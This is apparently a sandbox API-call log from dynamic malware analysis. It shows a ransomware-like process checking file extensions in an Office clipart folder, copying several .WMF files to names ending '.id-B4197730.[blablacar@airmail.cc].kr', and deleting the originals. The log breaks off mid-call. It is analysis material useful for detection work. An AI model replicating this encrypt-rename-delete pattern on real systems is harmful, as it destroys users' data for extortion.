[0193.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0193.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0193.971] lstrlenW (lpString=".doc") returned 4 [0193.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.971] lstrlenW (lpString=".docx") returned 5 [0193.971] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.971] lstrlenW (lpString=".pdf") returned 4 [0193.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.971] lstrlenW (lpString=".xls") returned 4 [0193.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.972] lstrlenW (lpString=".xlsx") returned 5 [0193.972] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.972] lstrlenW (lpString=".ppt") returned 4 [0193.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0193.972] lstrlenW (lpString=".zip") returned 4 [0193.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.972] lstrlenW (lpString=".rar") returned 4 [0193.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.972] lstrlenW (lpString=".bz2") returned 4 [0193.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.972] lstrlenW (lpString=".7z") returned 3 [0193.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0193.972] lstrlenW (lpString=".dbf") returned 4 [0193.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0193.972] lstrlenW (lpString=".1cd") returned 4 [0193.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0193.972] lstrlenW (lpString=".jpg") returned 4 [0193.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0193.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0193.972] lstrlenW (lpString=".doc") returned 4 [0193.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.972] lstrlenW (lpString=".docx") returned 5 [0194.122] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.122] lstrlenW (lpString=".pdf") returned 4 [0194.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.122] lstrlenW (lpString=".xls") returned 4 [0194.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.122] lstrlenW (lpString=".xlsx") returned 5 [0194.122] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.122] lstrlenW (lpString=".ppt") returned 4 [0194.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0194.122] lstrlenW (lpString=".zip") returned 4 [0194.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.123] lstrlenW (lpString=".rar") returned 4 [0194.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.123] lstrlenW (lpString=".bz2") returned 4 [0194.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.123] lstrlenW (lpString=".7z") returned 3 [0194.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0194.123] lstrlenW (lpString=".dbf") returned 4 [0194.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0194.123] lstrlenW (lpString=".1cd") returned 4 [0194.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0194.123] lstrlenW (lpString=".jpg") returned 4 [0194.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.147] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.147] lstrlenW (lpString="FD01196_.WMF") returned 12 [0194.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.249] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2332) returned 1 [0194.249] CloseHandle (hObject=0x548) returned 1 [0194.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x220 [0194.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0194.530] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.530] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0194.532] GetLastError () returned 0x0 [0194.532] ReadFile (in: hFile=0x4d4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x91c, lpOverlapped=0x0) returned 1 [0194.533] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x920, lpOverlapped=0x0) returned 1 [0194.534] ReadFile (in: hFile=0x4d4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.534] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.535] SetEndOfFile (hFile=0x4d8) returned 1 [0194.535] CloseHandle (hObject=0x4d8) returned 1 [0194.535] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.535] SetEndOfFile (hFile=0x4d4) returned 1 [0194.538] CloseHandle (hObject=0x4d4) returned 1 [0194.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0194.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0194.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0194.539] lstrlenW (lpString=".doc") returned 4 [0194.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.539] lstrlenW (lpString=".docx") returned 5 [0194.539] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.539] lstrlenW (lpString=".pdf") returned 4 [0194.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.539] lstrlenW (lpString=".xls") returned 4 [0194.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.539] lstrlenW (lpString=".xlsx") returned 5 [0194.539] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.539] lstrlenW (lpString=".ppt") returned 4 [0194.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0194.539] lstrlenW (lpString=".zip") returned 4 [0194.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.539] lstrlenW (lpString=".rar") returned 4 [0194.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.539] lstrlenW (lpString=".bz2") returned 4 [0194.539] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.539] lstrlenW (lpString=".7z") returned 3 [0194.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0194.540] lstrlenW (lpString=".dbf") returned 4 [0194.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0194.540] lstrlenW (lpString=".1cd") returned 4 [0194.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0194.540] lstrlenW (lpString=".jpg") returned 4 [0194.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0194.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0194.540] lstrlenW (lpString=".doc") returned 4 [0194.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.540] lstrlenW (lpString=".docx") returned 5 [0194.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.540] lstrlenW (lpString=".pdf") returned 4 [0194.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.540] lstrlenW (lpString=".xls") returned 4 [0194.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.540] lstrlenW (lpString=".xlsx") returned 5 [0194.540] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.540] lstrlenW (lpString=".ppt") returned 4 [0194.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0194.540] lstrlenW (lpString=".zip") returned 4 [0194.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.540] lstrlenW (lpString=".rar") returned 4 [0194.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.540] lstrlenW (lpString=".bz2") returned 4 [0194.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.541] lstrlenW (lpString=".7z") returned 3 [0194.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0194.541] lstrlenW (lpString=".dbf") returned 4 [0194.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0194.541] lstrlenW (lpString=".1cd") returned 4 [0194.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0194.541] lstrlenW (lpString=".jpg") returned 4 [0194.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.541] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.541] lstrlenW (lpString="FD02088_.WMF") returned 12 [0194.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0194.542] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3696) returned 1 [0194.542] CloseHandle (hObject=0x4d4) returned 1 [0194.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x220 [0194.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0194.543] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.543] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0194.544] GetLastError () returned 0x0 [0194.544] ReadFile (in: hFile=0x4d4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xe70, lpOverlapped=0x0) returned 1 [0194.546] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xe80, lpOverlapped=0x0) returned 1 [0194.547] ReadFile (in: hFile=0x4d4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.547] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.547] SetEndOfFile (hFile=0x4d8) returned 1 [0194.547] CloseHandle (hObject=0x4d8) returned 1 [0194.547] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.547] SetEndOfFile (hFile=0x4d4) returned 1 [0194.551] CloseHandle (hObject=0x4d4) returned 1 [0194.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 1 [0194.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0194.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0194.552] lstrlenW (lpString=".doc") returned 4 [0194.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.552] lstrlenW (lpString=".docx") returned 5 [0194.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.552] lstrlenW (lpString=".pdf") returned 4 [0194.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.552] lstrlenW (lpString=".xls") returned 4 [0194.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.552] lstrlenW (lpString=".xlsx") returned 5 [0194.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.553] lstrlenW (lpString=".ppt") returned 4 [0194.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0194.553] lstrlenW (lpString=".zip") returned 4 [0194.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.553] lstrlenW (lpString=".rar") returned 4 [0194.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.553] lstrlenW (lpString=".bz2") returned 4 [0194.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.553] lstrlenW (lpString=".7z") returned 3 [0194.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0194.553] lstrlenW (lpString=".dbf") returned 4 [0194.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0194.553] lstrlenW (lpString=".1cd") returned 4 [0194.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0194.553] lstrlenW (lpString=".jpg") returned 4 [0194.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0194.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0194.553] lstrlenW (lpString=".doc") returned 4 [0194.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.553] lstrlenW (lpString=".docx") returned 5 [0194.553] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.553] lstrlenW (lpString=".pdf") returned 4 [0194.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.553] lstrlenW (lpString=".xls") returned 4 [0194.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.554] lstrlenW (lpString=".xlsx") returned 5 [0194.554] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.554] lstrlenW (lpString=".ppt") returned 4 [0194.554] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0194.554] lstrlenW (lpString=".zip") returned 4 [0194.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.554] lstrlenW (lpString=".rar") returned 4 [0194.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.554] lstrlenW (lpString=".bz2") returned 4 [0194.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.554] lstrlenW (lpString=".7z") returned 3 [0194.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0194.554] lstrlenW (lpString=".dbf") returned 4 [0194.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0194.554] lstrlenW (lpString=".1cd") returned 4 [0194.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0194.554] lstrlenW (lpString=".jpg") returned 4 [0194.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.555] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.555] lstrlenW (lpString="FD02097_.WMF") returned 12 [0194.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0194.555] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1564) returned 1 [0194.555] CloseHandle (hObject=0x4d4) returned 1 [0194.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x220 [0194.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0194.556] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.556] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0194.557] GetLastError () returned 0x0 [0194.557] ReadFile (in: hFile=0x4d4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x61c, lpOverlapped=0x0) returned 1 [0194.559] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x620, lpOverlapped=0x0) returned 1 [0194.560] ReadFile (in: hFile=0x4d4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.560] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.560] SetEndOfFile (hFile=0x4d8) returned 1 [0194.560] CloseHandle (hObject=0x4d8) returned 1 [0194.560] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.560] SetEndOfFile (hFile=0x4d4) returned 1 [0194.563] CloseHandle (hObject=0x4d4) returned 1 [0194.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 1 [0194.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0194.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0194.997] lstrlenW (lpString=".doc") returned 4 [0194.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.997] lstrlenW (lpString=".docx") returned 5 